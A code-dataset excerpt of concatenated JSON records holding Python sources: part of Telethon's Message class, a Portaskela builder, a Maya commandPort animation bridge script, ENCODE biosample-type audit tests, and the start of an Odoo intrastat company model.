\"\"\"\n This (:tl:`InputPeer`) is the input version of the user who\n sent the message. Similarly to `input_chat`, this doesn't have\n things like username or similar, but still useful in some cases.\n\n Note that this might not be available if the library can't\n find the input chat, or if the message a broadcast on a channel.\n \"\"\"\n if self._input_sender is None:\n if self.is_channel and not self.is_group:\n return None\n try:\n self._input_sender = self._client.session\\\n .get_input_entity(self.original_message.from_id)\n except ValueError:\n pass\n return self._input_sender\n\n async def get_input_sender(self):\n \"\"\"\n Returns `input_sender`, but will make an API call to find the\n input sender unless it's already cached.\n \"\"\"\n if self.input_sender is None\\\n and not self.is_channel and not self.is_group:\n await self._reload_message()\n return self._input_sender\n\n @property\n def input_chat(self):\n \"\"\"\n This (:tl:`InputPeer`) is the input version of the chat where the\n message was sent. Similarly to `input_sender`, this doesn't have\n things like username or similar, but still useful in some cases.\n\n Note that this might not be available if the library doesn't know\n where the message came from.\n \"\"\"\n if self._input_chat is None:\n try:\n self._input_chat =\\\n self._client.session.get_input_entity(self._chat_peer)\n except ValueError:\n pass\n\n return self._input_chat\n\n async def get_input_chat(self):\n \"\"\"\n Returns `input_chat`, but will make an API call to find the\n input chat unless it's already cached.\n \"\"\"\n if self.input_chat is None:\n # There's a chance that the chat is a recent new dialog.\n # The input chat cannot rely on ._reload_message() because\n # said method may need the input chat.\n target = self.chat_id\n async for d in self._client.iter_dialogs(100):\n if d.id == target:\n self._chat = d.entity\n self._input_chat = d.input_entity\n break\n\n return self._input_chat\n\n @property\n def sender_id(self):\n \"\"\"\n Returns the marked sender integer ID, if present.\n \"\"\"\n return self.original_message.from_id\n\n @property\n def chat_id(self):\n \"\"\"\n Returns the marked chat integer ID. Note that this value **will\n be different** from `to_id` for incoming private messages, since\n the chat *to* which the messages go is to your own person, but\n the *chat* itself is with the one who sent the message.\n\n TL;DR; this gets the ID that you expect.\n \"\"\"\n return get_peer_id(self._chat_peer)\n\n @property\n def is_private(self):\n \"\"\"True if the message was sent as a private message.\"\"\"\n return isinstance(self.original_message.to_id, types.PeerUser)\n\n @property\n def is_group(self):\n \"\"\"True if the message was sent on a group or megagroup.\"\"\"\n return (\n isinstance(self.original_message.to_id, (types.PeerChat,\n types.PeerChannel))\n and not self.original_message.post\n )\n\n @property\n def is_channel(self):\n \"\"\"True if the message was sent on a megagroup or channel.\"\"\"\n return isinstance(self.original_message.to_id, types.PeerChannel)\n\n @property\n def is_reply(self):\n \"\"\"True if the message is a reply to some other or not.\"\"\"\n return bool(self.original_message.reply_to_msg_id)\n\n @property\n def forward(self):\n \"\"\"\n Returns `telethon.tl.custom.forward.Forward` if the message\n has been forwarded from somewhere else.\n \"\"\"\n return self._forward\n\n def _set_buttons(self, chat, bot):\n \"\"\"\n Helper methods to set the buttons given the input sender and chat.\n \"\"\"\n if isinstance(self.original_message.reply_markup, (\n types.ReplyInlineMarkup, types.ReplyKeyboardMarkup)):\n self._buttons = [[\n MessageButton(self._client, button, chat, bot,\n self.original_message.id)\n for button in row.buttons\n ] for row in self.original_message.reply_markup.rows]\n self._buttons_flat = [x for row in self._buttons for x in row]\n\n def _needed_markup_bot(self):\n \"\"\"\n Returns the input peer of the bot that's needed for the reply markup.\n\n This is necessary for :tl:`KeyboardButtonSwitchInline` since we need\n to know what bot we want to start. Raises ``ValueError`` if the bot\n cannot be found but is needed. Returns ``None`` if it's not needed.\n \"\"\"\n for row in self.original_message.reply_markup.rows:\n for button in row.buttons:\n if isinstance(button, types.KeyboardButtonSwitchInline):\n if button.same_peer:\n bot = self.input_sender\n if not bot:\n raise ValueError('No input sender')\n else:\n return self._client.session.get_input_entity(\n self.original_message.via_bot_id)\n\n @property\n def buttons(self):\n \"\"\"\n Returns a matrix (list of lists) containing all buttons of the message\n as `telethon.tl.custom.messagebutton.MessageButton` instances.\n \"\"\"\n if not isinstance(self.original_message, types.Message):\n return # MessageService and MessageEmpty have no markup\n\n if self._buttons is None and self.original_message.reply_markup:\n if not self.input_chat:\n return\n try:\n bot = self._needed_markup_bot()\n except ValueError:\n return\n else:\n self._set_buttons(self._input_chat, bot)\n\n return self._buttons\n\n async def get_buttons(self):\n \"\"\"\n Returns `buttons`, but will make an API call to find the\n input chat (needed for the buttons) unless it's already cached.\n \"\"\"\n if not self.buttons and isinstance(\n self.original_message, types.Message):\n chat = await self.get_input_chat()\n if not chat:\n return\n try:\n bot = self._needed_markup_bot()\n except ValueError:\n await self._reload_message()\n bot = self._needed_markup_bot() # TODO use via_input_bot\n\n self._set_buttons(chat, bot)\n\n return self._buttons\n\n @property\n def button_count(self):\n \"\"\"\n Returns the total button count.\n \"\"\"\n if not isinstance(self.original_message, types.Message):\n return 0\n\n if self._buttons_count is None and isinstance(\n self.original_message.reply_markup, (\n types.ReplyInlineMarkup, types.ReplyKeyboardMarkup\n )):\n self._buttons_count = sum(\n 1\n for row in self.original_message.reply_markup.rows\n for _ in row.buttons\n )\n\n return self._buttons_count or 0\n\n @property\n def photo(self):\n \"\"\"\n If the message media is a photo,\n this returns the :tl:`Photo` object.\n \"\"\"\n if isinstance(self.original_message.media, types.MessageMediaPhoto):\n photo = self.original_message.media.photo\n if isinstance(photo, types.Photo):\n return photo\n\n @property\n def document(self):\n \"\"\"\n If the message media is a document,\n this returns the :tl:`Document` object.\n \"\"\"\n if isinstance(self.original_message.media, types.MessageMediaDocument):\n doc = self.original_message.media.document\n if isinstance(doc, types.Document):\n return doc\n\n def _document_by_attribute(self, kind, condition=None):\n \"\"\"\n Helper method to return the document only if it has an attribute\n that's an instance of the given kind, and passes the condition.\n \"\"\"\n doc = self.document\n if doc:\n for attr in doc.attributes:\n if isinstance(attr, kind):\n if not condition or condition(doc):\n return doc\n\n @property\n def audio(self):\n \"\"\"\n If the message media is a document with an Audio attribute,\n this returns the :tl:`Document` object.\n \"\"\"\n return self._document_by_attribute(types.DocumentAttributeAudio,\n lambda attr: not attr.voice)\n\n @property\n def voice(self):\n \"\"\"\n If the message media is a document with a Voice attribute,\n this returns the :tl:`Document` object.\n \"\"\"\n return self._document_by_attribute(types.DocumentAttributeAudio,\n lambda attr: attr.voice)\n\n @property\n def video(self):\n \"\"\"\n If the message media is a document with a Video attribute,\n this returns the :tl:`Document` object.\n \"\"\"\n return self._document_by_attribute(types.DocumentAttributeVideo)\n\n @property\n def video_note(self):\n \"\"\"\n If the message media is a document with a Video attribute,\n this returns the :tl:`Document` object.\n \"\"\"\n return self._document_by_attribute(types.DocumentAttributeVideo,\n lambda attr: attr.round_message)\n\n @property\n def gif(self):\n \"\"\"\n If the message media is a document with an Animated attribute,\n this returns the :tl:`Document` object.\n \"\"\"\n return self._document_by_attribute(types.DocumentAttributeAnimated)\n\n @property\n def sticker(self):\n \"\"\"\n If the message media is a document with a Sticker attribute,\n this returns the :tl:`Document` object.\n \"\"\"\n return self._document_by_attribute(types.DocumentAttributeSticker)\n\n @property\n def out(self):\n \"\"\"\n Whether the message is outgoing (i.e. you sent it from\n another session) or incoming (i.e. someone else sent it).\n\n Note that messages in your own chat are always incoming,\n but this property will be ``True`` if you send a message\n to your own chat. Messages you forward to your chat are\n *not* considered outgoing, just like official clients\n display them.\n \"\"\"\n return self.original_message.out\n\n async def get_reply_message(self):\n \"\"\"\n The `telethon.tl.custom.message.Message` that this message is replying\n to, or ``None``.\n\n Note that this will make a network call to fetch the message and\n will later be cached.\n \"\"\"\n if self._reply_message is None:\n if not self.original_message.reply_to_msg_id:\n return None\n self._reply_message = await self._client.get_messages(\n await self.get_input_chat() if self.is_channel else None,\n ids=self.original_message.reply_to_msg_id\n )\n\n return self._reply_message\n\n async def respond(self, *args, **kwargs):\n \"\"\"\n Responds to the message (not as a reply). Shorthand for\n `telethon.telegram_client.TelegramClient.send_message` with\n ``entity`` already set.\n \"\"\"\n return await self._client.send_message(\n await self.get_input_chat(), *args, **kwargs)\n\n async def reply(self, *args, **kwargs):\n \"\"\"\n Replies to the message (as a reply). Shorthand for\n `telethon.telegram_client.TelegramClient.send_message` with\n both ``entity`` and ``reply_to`` already set.\n \"\"\"\n kwargs['reply_to'] = self.original_message.id\n return await self._client.send_message(\n await self.get_input_chat(), *args, **kwargs)\n\n async def forward_to(self, *args, **kwargs):\n \"\"\"\n Forwards the message. Shorthand for\n `telethon.telegram_client.TelegramClient.forward_messages` with\n both ``messages`` and ``from_peer`` already set.\n\n If you need to forward more than one message at once, don't use\n this `forward_to` method. Use a\n `telethon.telegram_client.TelegramClient` instance directly.\n \"\"\"\n kwargs['messages'] = self.original_message.id\n kwargs['from_peer'] = await self.get_input_chat()\n return await self._client.forward_messages(*args, **kwargs)\n\n async def edit(self, *args, **kwargs):\n \"\"\"\n Edits the message iff it's outgoing. Shorthand for\n `telethon.telegram_client.TelegramClient.edit_message` with\n both ``entity`` and ``message`` already set.\n\n Returns ``None`` if the message was incoming, or the edited\n :tl:`Message` otherwise.\n \"\"\"\n if self.original_message.fwd_from:\n return None\n if not self.original_message.out:\n if not isinstance(self.original_message.to_id, types.PeerUser):\n return None\n me = self._client.get_me(input_peer=True)\n if self.original_message.to_id.user_id != me.user_id:\n return None\n\n return await self._client.edit_message(\n await self.get_input_chat(), self.original_message,\n *args, **kwargs\n )\n\n async def delete(self, *args, **kwargs):\n \"\"\"\n Deletes the message. You're responsible for checking whether you\n have the permission to do so, or to except the error otherwise.\n Shorthand for\n `telethon.telegram_client.TelegramClient.delete_messages` with\n ``entity`` and ``message_ids`` already set.\n\n If you need to delete more than one message at once, don't use\n this `delete` method. Use a\n `telethon.telegram_client.TelegramClient` instance directly.\n \"\"\"\n return await self._client.delete_messages(\n await self.get_input_chat(), [self.original_message],\n *args, **kwargs\n )\n\n async def download_media(self, *args, **kwargs):\n \"\"\"\n Downloads the media contained in the message, if any.\n `telethon.telegram_client.TelegramClient.download_media` with\n the ``message`` already set.\n \"\"\"\n return await self._client.download_media(\n self.original_message, *args, **kwargs)\n\n def get_entities_text(self, cls=None):\n \"\"\"\n Returns a list of tuples [(:tl:`MessageEntity`, `str`)], the string\n being the inner text of the message entity (like bold, italics, etc).\n\n Args:\n cls (`type`):\n Returns entities matching this type only. For example,\n the following will print the text for all ``code`` entities:\n\n >>> from telethon.tl.types import MessageEntityCode\n >>>\n >>> m = Message(...)\n >>> for _, inner_text in m.get_entities_text(MessageEntityCode):\n >>> print(inner_text)\n \"\"\"\n if not self.original_message.entities:\n return []\n\n ent = self.original_message.entities\n if cls and ent:\n ent = [c for c in ent if isinstance(c, cls)]\n\n texts = get_inner_text(self.original_message.message, ent)\n return list(zip(ent, texts))\n\n async def click(self, i=None, j=None, *, text=None, filter=None):\n \"\"\"\n Calls `telethon.tl.custom.messagebutton.MessageButton.click`\n for the specified button.\n\n Does nothing if the message has no buttons.\n\n Args:\n i (`int`):\n Clicks the i'th button (starting from the index 0).\n Will ``raise IndexError`` if out of bounds. Example:\n\n >>> message = Message(...)\n >>> # Clicking the 3rd button\n >>> # [button1] [button2]\n >>> # [ button3 ]\n >>> # [button4] [button5]\n >>> message.click(2) # index\n\n j (`int`):\n Clicks the button at position (i, j), these being the\n indices for the (row, column) respectively. Example:\n\n >>> # Clicking the 2nd button on the 1st row.\n >>> # [button1] [button2]\n >>> # [ button3 ]\n >>> # [button4] [button5]\n >>> message.click(0, 1) # (row, column)\n\n This is equivalent to ``message.buttons[0][1].click()``.\n\n text (`str` | `callable`):\n Clicks the first button with the text \"text\". This may\n also be a callable, like a ``re.compile(...).match``,\n and the text will be passed to it.\n\n filter (`callable`):\n Clicks the first button for which the callable\n returns ``True``. The callable should accept a single\n `telethon.tl.custom.messagebutton.MessageButton` argument.\n \"\"\"\n if sum(int(x is not None) for x in (i, text, filter)) >= 2:\n raise ValueError('You can only set either of i, text or filter')\n\n if not await self.get_buttons():\n return # Accessing the property sets self._buttons[_flat]\n\n if text is not None:\n if callable(text):\n for button in self._buttons_flat:\n if text(button.text):\n return await button.click()\n else:\n for button in self._buttons_flat:\n if button.text == text:\n return await button.click()\n return\n\n if filter is not None:\n for button in self._buttons_flat:\n if filter(button):\n return await button.click()\n return\n\n if i is None:\n i = 0\n if j is None:\n return await self._buttons_flat[i].click()\n else:\n return await self._buttons[i][j].click()\n\n\nclass _CustomMessage(Message, types.Message):\n pass\n\n\nclass _CustomMessageService(Message, types.MessageService):\n pass\n","sub_path":"telethon/tl/custom/message.py","file_name":"message.py","file_ext":"py","file_size_in_byte":26001,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"218020334","text":"\n# Licensed to the Apache Software Foundation (ASF) under one\n# or more contributor license agreements. See the NOTICE file\n# distributed with this work for additional information\n# regarding copyright ownership. The ASF licenses this file\n# to you under the Apache License, Version 2.0 (the\n# \"License\"); you may not use this file except in compliance\n# with the License. You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing,\n# software distributed under the License is distributed on an\n# \"AS IS\" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY\n# KIND, either express or implied. See the License for the\n# specific language governing permissions and limitations\n# under the License.\n\nfrom portaskela.activity.activity_stmt_sequence_model import ActivityStmtSequenceModel\nfrom portaskela.activity.activity_stmt_model import ActivityStmtModel\nfrom portaskela.exec.exec_scope_model import ExecScopeModel\nfrom portaskela.activity.activity_stmt_parallel_model import ActivityStmtParallelModel\nfrom portaskela.core_types.resource_info_model import ResourceInfoModel\nfrom portaskela.elaborator.pool_bind_scope import PoolBindScope\nfrom portaskela.core_types.composite_type import CompositeType\n\n\n'''\nCreated on Jun 17, 2019\n\n@author: ballance\n'''\n\nimport pyboolector\nfrom pyboolector import Boolector\n\nclass Builder():\n \n def __init__(self, btor=None):\n self.root_component = None\n self.action_scope_l = []\n # Holds activity or exec scopes during build\n self.active_scope_stack = []\n self.full_scope_name = None\n self.component_scope_stack = []\n self.exec_scope_stack = []\n self.is_rand_stack = []\n # Used to ensure comp handles have rand fields\n self.action_comp_build = []\n self.is_exec_stack = []\n if btor is None:\n self.btor = Boolector()\n self.btor.Set_opt(pyboolector.BTOR_OPT_INCREMENTAL, True)\n self.btor.Set_opt(pyboolector.BTOR_OPT_MODEL_GEN, True)\n else:\n self.btor = btor\n self.traversal_id = 0\n self.function_type_model_m = {}\n \n # Map between resource type and at-specific resource-info\n self.resource_info_m = {}\n \n # Pool Info is populated after the component tree is built\n # and before the activity model is constructed\n self.pool_info = None\n \n def push_active_scope(self, cm):\n self.full_scope_name = None\n self.active_scope_stack.append(cm)\n \n def pop_active_scope(self):\n self.full_scope_name = None\n ret = self.active_scope_stack.pop()\n return ret\n \n def active_scope(self):\n return self.active_scope_stack[-1]\n \n def global_scope(self):\n return self.active_scope_stack[0]\n \n def get_field_model(self, fid_l):\n \n if fid_l[0] < 0:\n first_behavioral_scope_idx = -1\n i = len(self.active_scope_stack)-1\n while i >= 0:\n s = self.active_scope_stack[i]\n if isinstance(s, ActivityStmtSequenceModel) or isinstance(s, ExecScopeModel):\n first_behavioral_scope_idx = i\n \n i -= 1\n\n s = self.active_scope_stack[first_behavioral_scope_idx+(-fid_l[0])-1] \n \n # Trim off the first element, since that only tells where to start\n fm = None\n \n for i in fid_l[1:]:\n if i < len(s.field_l):\n fm = s.field_l[i]\n else:\n fm = None\n break\n s = s.field_l[i] \n else:\n for i in range(-1, -(len(self.active_scope_stack)), -1):\n s = self.active_scope_stack[i]\n if not isinstance(s, ActivityStmtModel) and not isinstance(s, ActivityStmtParallelModel):\n break\n \n fm = None\n \n for i in fid_l:\n field_l = s.fields()\n if i < len(field_l):\n fm = field_l[i]\n else:\n fm = None\n break\n s = field_l[i]\n \n if fm is None:\n raise Exception(\"Failed to process path: \" + str(fid_l))\n \n return fm\n\n def create_traversal_id(self):\n ret = self.traversal_id\n self.traversal_id += 1\n return ret\n \n def active_scope_name(self):\n if self.full_scope_name is None:\n self.full_scope_name = \"\"\n for i in range(1,len(self.active_scope_stack)):\n if hasattr(self.active_scope_stack[i], \"name\"):\n self.full_scope_name += self.active_scope_stack[i].name\n else:\n # TOOD: need to actually give an anonymous name\n self.full_scope_name += \"\"\n \n if i+1 < len(self.active_scope_stack):\n self.full_scope_name += \".\"\n \n return self.full_scope_name\n \n def root_scope(self):\n return self.active_scope_stack[0]\n \n def push_action_scope(self, am):\n self.action_scope_l.append(am)\n \n def pop_action_scope(self):\n return self.action_scope_l.pop()\n \n def action_scope(self):\n if len(self.action_scope_l) > 0:\n return self.action_scope_l[-1]\n else:\n return None\n\n def component_scope(self):\n if len(self.component_scope_stack) > 0:\n return self.component_scope_stack[-1]\n else:\n return None\n\n def root_component_scope(self):\n return self.root_component\n \n def push_component_scope(self, c):\n if len(self.component_scope_stack) == 0 and self.root_component is None:\n self.root_component = c\n\n self.component_scope_stack.append(c)\n \n def pop_component_scope(self):\n return self.component_scope_stack.pop()\n \n def exec_scope(self):\n if len(self.exec_scope_stack) > 0:\n return self.exec_scope_stack[-1]\n else:\n return None\n \n def push_exec_scope(self, s):\n self.exec_scope_stack.append(s)\n \n def pop_exec_scope(self):\n return self.exec_scope_stack.pop()\n\n def push_is_rand(self, is_rand):\n self.is_rand_stack.append(is_rand)\n \n def push_action_comp_build(self):\n self.action_comp_build.append(True)\n \n def pop_action_comp_build(self):\n return self.action_comp_build.pop()\n \n def is_action_comp_build(self):\n ret = (len(self.action_comp_build) > 0 and self.action_comp_build[-1])\n return ret\n \n def is_rand(self, ir=True):\n return ((len(self.is_rand_stack) > 0 and self.is_rand_stack[-1] and ir) or (self.is_action_comp_build()))\n \n def pop_is_rand(self):\n return self.is_rand_stack.pop()\n \n def push_is_exec(self, is_exec):\n print(\"push_is_exec: \" + str(is_exec))\n self.is_exec_stack.append(is_exec)\n \n def is_exec(self):\n return (len(self.is_exec_stack) > 0 and self.is_exec_stack[-1])\n \n def pop_is_exec(self):\n print(\"pop_is_exec\")\n self.is_exec_stack.pop()\n \n def get_resource_info_model(self, at, rt):\n if rt not in self.resource_info_m.keys():\n self.resource_info_m[rt] = {}\n ri_m = self.resource_info_m[rt]\n \n if not at in ri_m.keys():\n # TODO: look for equivalent existing models\n ri = ResourceInfoModel(rt, at)\n ri_m[at] = ri\n \n for ci in self.root_component.get_instances(at.parent):\n p = ci.get_pool(rt)\n ri.lock_share_size.append((ci.comp_id, p.size().val))\n else:\n ri = ri_m[at]\n \n return ri\n\n def get_lock_share_size(self, at, rt):\n ret = []\n \n # First off, find all instances of the component type\n for ci in self.root_component.get_instances(at.parent):\n p = ci.get_pool(rt)\n ret.append((ci.comp_id, p.size()))\n \n # TODO: need to know binding for a claim of type RT \n # in each of the component instances\n # That information should be present in the cm instances\n print(\" Instance: \" + str(ci))\n \n print(\"<-- get_lock_share_size\")\n \n return ret\n \n \n \n \n","sub_path":"src/portaskela/elaborator/builder.py","file_name":"builder.py","file_ext":"py","file_size_in_byte":8644,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"14740157","text":"def block0(a, b, n):\n\n # transonic block (\n # A a; A1 b;\n # int n\n # )\n # transonic block (\n # int[:] a, b;\n # float n\n # )\n result = ((a**2) + (b.mean() ** 3)) + n\n\n return result\n\n\narguments_blocks = {\"block0\": [\"a\", \"b\", \"n\"]}\n\n__transonic__ = (\"0.3.0\",)\n","sub_path":"data_tests/saved__backend__/pythran/blocks_type_hints.py","file_name":"blocks_type_hints.py","file_ext":"py","file_size_in_byte":304,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"112249057","text":"#################################################################\n# Runs from inside Maya.\n#################################################################\n\nimport maya.cmds as cmds\n#import pymel.core as pm\nimport maya.mel as mel\nimport json\n\n# May want to add bufferSize flag, size of buffer for commands and results. Default 4096.\n#pm.general.commandPort(name=\":12345\", pre=\"myServer\", sourceType=\"mel\", eo=True)\ncmds.commandPort(name=\":12345\", pre=\"myServer\", sourceType=\"mel\", eo=True)\nanim_frames = 15\n\n# commandPort can only accept a MEL procedure as a prefix, so this acts as a wrapper for the python function myServer below.\nmelproc = \"\"\"\nglobal proc string myServer(string $str){\n string $formatted = substituteAllString($str, \"\\\\\"\", \"'\");\n string $result = python((\"myServer(\\\\\"\" + $formatted + \"\\\\\")\"));\n return $result;\n}\n\"\"\"\n\nmel.eval(melproc)\n\n# Names of joints stored here for easy access\nclass Character():\n def __init__(self):\n self.root = getRootName()\n self.joints = getJointNames([self.root], self.root)\n self.velocities = initialiseVels()\n\ndef myServer(str):\n json_str = str.replace(\"'\", '\"')\n request = json.loads(json_str)\n\n if request[\"RequestType\"] == \"GET\":\n response = doGet()\n #response = json.dumps({\"test\": [1,2,3,4]})\n return response\n elif request[\"RequestType\"] == \"PUT\":\n doPut(request)\n return \"PUT acknowledged\"\n\ndef doGet():\n # Get path info\n full_path_pos, path_middle_heights = getPathPos()\n full_path_dir = getPathDir(full_path_pos)\n full_path_height = getPathHeight(full_path_pos, full_path_dir, path_middle_heights)\n # Get character info\n initial_joint_pos = getJointPos()\n initial_joint_vel = character.velocities\n # Get gait info\n full_gait = getGait()\n # Format as JSON\n response = formatGetJson(full_path_pos, full_path_dir, full_path_height, initial_joint_pos, initial_joint_vel, full_gait)\n return response\n\n# Returns a list of [pos x, pos z] pairs\ndef getPathPos():\n # path = getPathName()\n path = \"curve1\" # Hardcoded\n num_spans = cmds.getAttr(path + \".spans\")\n points_per_span = anim_frames / num_spans\n\n # Assumes curve is uniformly parameterised (in most cases this is true)\n full_path_pos = []\n path_middle_heights = []\n for i in range(num_spans):\n for j in range(points_per_span):\n param = i + float(j)/float(points_per_span)\n pos = cmds.pointOnCurve(path, parameter=param, position=True)\n full_path_pos.append([pos[0], pos[2]]) # Only x and z coords needed\n path_middle_heights.append(pos[1]) # For use later in GetHeights function\n\n return full_path_pos, path_middle_heights\n\n### THINK this is how directions are used in pfnn, not sure\ndef getPathDir(full_path_pos):\n full_path_dir = []\n for i in range(len(full_path_pos) - 1):\n x_dir = full_path_pos[i+1][0] - full_path_pos[i][0]\n z_dir = full_path_pos[i+1][1] - full_path_pos[i][1]\n direction = [x_dir, z_dir]\n full_path_dir.append(direction)\n\n full_path_dir.append([0,0]) # For final point on trajectory\n return full_path_dir\n\ndef getPathHeight(full_path_pos, full_path_dir, path_middle_heights):\n # With high enough sampling for path (which is needed anyway for good animation) the\n # left and right points are orthogonal to the direction of a point\n # Right now can't be bothered to do the actual maths for this, so just going to set everything to 0 for testing\n # TODO: implement properly later\n\n full_path_height = []\n for i in range(len(full_path_pos)):\n full_path_height.append([0, 0, 0])\n return full_path_height\n\n# Returns a LIST of joint positions\n# TODO: LOCAL joint positions not global!!\ndef getJointPos():\n joint_pos = []\n for joint in character.joints:\n joint_xform = cmds.xform(joint, worldSpace=True, query=True, translation=True)\n joint_pos.append(joint_xform[0])\n joint_pos.append(joint_xform[1])\n joint_pos.append(joint_xform[2])\n return joint_pos\n\n# TODO: full implementation from user input\ndef getGait():\n # For gait, 0=stand, 1=walk, 2=jog, 4=crouch, 5=jump, 6=unused (in pfnn)\n # Want gait at each point along path - i.e. at each frame\n # For now just set these to one of the values for testing, at a later date change this to get input from user\n # Will need to format for X properly in loco.py\n gait = []\n for i in range(anim_frames):\n gait.append(2)\n return gait\n\ndef formatGetJson(full_path_pos, full_path_dir, full_path_height, initial_joint_pos, initial_joint_vel, full_gait):\n response = json.dumps({\"AnimFrames\": anim_frames, \"PathPos\": full_path_pos, \"PathDir\": full_path_dir, \"PathHeight\": full_path_height, \"JointPos\": initial_joint_pos, \"JointVel\": initial_joint_vel, \"Gait\": full_gait})\n return response\n\ndef doPut(request):\n joint_pos, root_xform_x_vel, root_xform_z_vel = parsePut(request)\n moveRootXform(root_xform_x_vel, root_xform_z_vel)\n moveJoints(joint_pos)\n setJointKeyframes()\n updateFrame()\n\ndef parsePut(request):\n joint_pos = request[\"JointPos\"]\n\n vel = request[\"RootXformVels\"]\n root_xform_x_vel = float(vel[0])\n root_xform_z_vel = float(vel[1])\n\n return joint_pos, root_xform_x_vel, root_xform_z_vel\n\ndef positionFromVelocity(initial_pos, velocity):\n # time = 1/120 # frames?\n time = 1\n new_pos = (velocity * time) + initial_pos\n return new_pos\n\ndef moveRootXform(root_xform_x_vel, root_xform_z_vel):\n root_xform = getRootXform()\n new_x = positionFromVelocity(root_xform[0], root_xform_x_vel)\n new_y = 0 # TODO: Hardcoded\n new_z = positionFromVelocity(root_xform[2], root_xform_z_vel)\n cmds.move(new_x, new_y, new_z, character.root, worldSpace=True)\n\ndef moveJoints(joint_pos):\n global character\n root_xform = getRootXform()\n\n for i in range(len(character.joints)):\n x_offset = joint_pos[i*3]\n y_offset = joint_pos[i*3+1]\n z_offset = joint_pos[i*3+2]\n x_xform = root_xform[0] + x_offset\n y_xform = root_xform[1] + y_offset\n z_xform = root_xform[2] + z_offset\n cmds.move(x_xform, y_xform, z_xform, character.joints[i], worldSpace=True)\n\ndef setJointKeyframes():\n for joint in character.joints:\n cmds.setKeyframe(joint, attribute=\"translate\")\n\ndef updateFrame():\n now = cmds.currentTime(query=True)\n cmds.currentTime(now + 1)\n\ndef getJointNames(joints, joint):\n children = cmds.listRelatives(joint)\n if children is not None:\n for child in children:\n joints.append(child)\n joints = getJointNames(joints, child)\n return joints\n\ndef getRootName():\n joints = cmds.ls(type='joint')\n x = joints[0]\n found = False\n\n while not found:\n parent = cmds.listRelatives(x, parent=True)\n if parent is not None:\n x = parent[0]\n root = parent[0]\n elif parent is None:\n found = True\n return root\n\ndef getRootXform():\n ### TODO: HARDCODED NAMES\n left_hip = \"JOINT_LHipJoint\"\n right_hip = \"JOINT_RHipJoint\"\n\n left_world_xform = cmds.xform(left_hip, worldSpace=True, query=True, translation=True)\n right_world_xform = cmds.xform(right_hip, worldSpace=True, query=True, translation=True)\n hip_world_xform = [0,0,0]\n for i in range(len(left_world_xform)):\n hip_world_xform[i] = (left_world_xform[i]+right_world_xform[i]) / 2\n\n root_x = hip_world_xform[0]\n root_y = 0 # TODO: Hardcoded\n root_z = hip_world_xform[2]\n\n return [root_x, root_y, root_z]\n\ndef initialiseVels():\n velocities = []\n for i in range(93):\n velocities.append(0)\n return velocities\n\ncharacter = Character()\n\n#pm.general.commandPort(name=\":12345\", cl=True)\n","sub_path":"scripts/maya_demo.py","file_name":"maya_demo.py","file_ext":"py","file_size_in_byte":7832,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"268480811","text":"import pytest\n\n\n@pytest.fixture\ndef ntr_biosample_type(testapp):\n item = {\n 'term_id': 'NTR:0000022',\n 'term_name': 'heart',\n 'classification': 'single cell',\n }\n return testapp.post_json('/biosample-types', item, status=201).json['@graph'][0]\n\n\n@pytest.fixture\ndef id_nonexist_biosample_type(testapp):\n item = {\n 'term_id': 'CL:99999999',\n 'term_name': 'heart',\n 'classification': 'single cell',\n }\n return testapp.post_json('/biosample-types', item, status=201).json['@graph'][0]\n\n\ndef test_audit_none(testapp, biosample_type):\n res = testapp.get(biosample_type['@id'] + '@@index-data')\n assert res.json['audit'] == {}\n\n\ndef test_audit_ntr_biosample(testapp, ntr_biosample_type):\n res = testapp.get(ntr_biosample_type['@id'] + '@@index-data')\n errors = res.json['audit']\n assert len(errors) == len(errors['INTERNAL_ACTION']) == 1\n assert errors['INTERNAL_ACTION'][0]['category'] == 'NTR biosample'\n\n\ndef test_audit_not_in_ontology(testapp, id_nonexist_biosample_type):\n res = testapp.get(id_nonexist_biosample_type['@id'] + '@@index-data')\n errors = res.json['audit']\n assert len(errors) == len(errors['INTERNAL_ACTION']) == 1\n assert errors['INTERNAL_ACTION'][0]['category'] == 'term_id not in ontology'\n\n\ndef test_audit_inconsistent_type(testapp, inconsistent_biosample_type):\n res = testapp.get(inconsistent_biosample_type['@id'] + '@@index-data')\n errors = res.json['audit']\n assert len(errors) == len(errors['ERROR']) == 1\n assert errors['ERROR'][0]['category'] == 'inconsistent ontology term'\n","sub_path":"src/encoded/tests/test_audit_biosample_type.py","file_name":"test_audit_biosample_type.py","file_ext":"py","file_size_in_byte":1603,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"34112377","text":"# -*- encoding: utf-8 -*-\n##############################################################################\n#\n# L10n FR Report intrastat product module for Odoo\n# Copyright (C) 2010-2015 Akretion (http://www.akretion.com)\n# @author Alexis de Lattre \n#\n# This program is free software: you can redistribute it and/or modify\n# it under the terms of the GNU Affero General Public License as\n# published by the Free Software Foundation, either version 3 of the\n# License, or (at your option) any later version.\n#\n# This program is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n# GNU Affero General Public License for more details.\n#\n# You should have received a copy of the GNU Affero General Public License\n# along with this program. If not, see .\n#\n##############################################################################\n\nfrom odoo import models, fields, api, _\nfrom odoo.exceptions import ValidationError\n\n\nclass ResCompany(models.Model):\n _inherit = \"res.company\"\n\n # In France, the customs_accreditation (\"numéro d'habilitation\")\n # is 4 char long. But the spec of the XML file says it can go up\n # to 8... because other EU countries may have identifiers up to 8 chars\n # As this module only implement DEB for France, we use size=4\n customs_accreditation = fields.Char(\n string='Customs accreditation identifier', size=4,\n help=\"Company identifier for Intrastat file export. \"\n \"Size : 4 characters.\")\n export_obligation_level = fields.Selection([\n ('detailed', 'Detailed'),\n ('simplified', 'Simplified')\n ], string='Obligation level for export',\n help='For the DEB : if your volume of export of products to '\n 'EU countries is over 460 000 € per year, your obligation '\n 'level for export is \"Detailed\" ; if you are under this limit, '\n 'your obligation level for export is \"Simplified\".')\n import_obligation_level = fields.Selection([\n ('detailed', 'Detailed'),\n ('none', 'None')\n ], 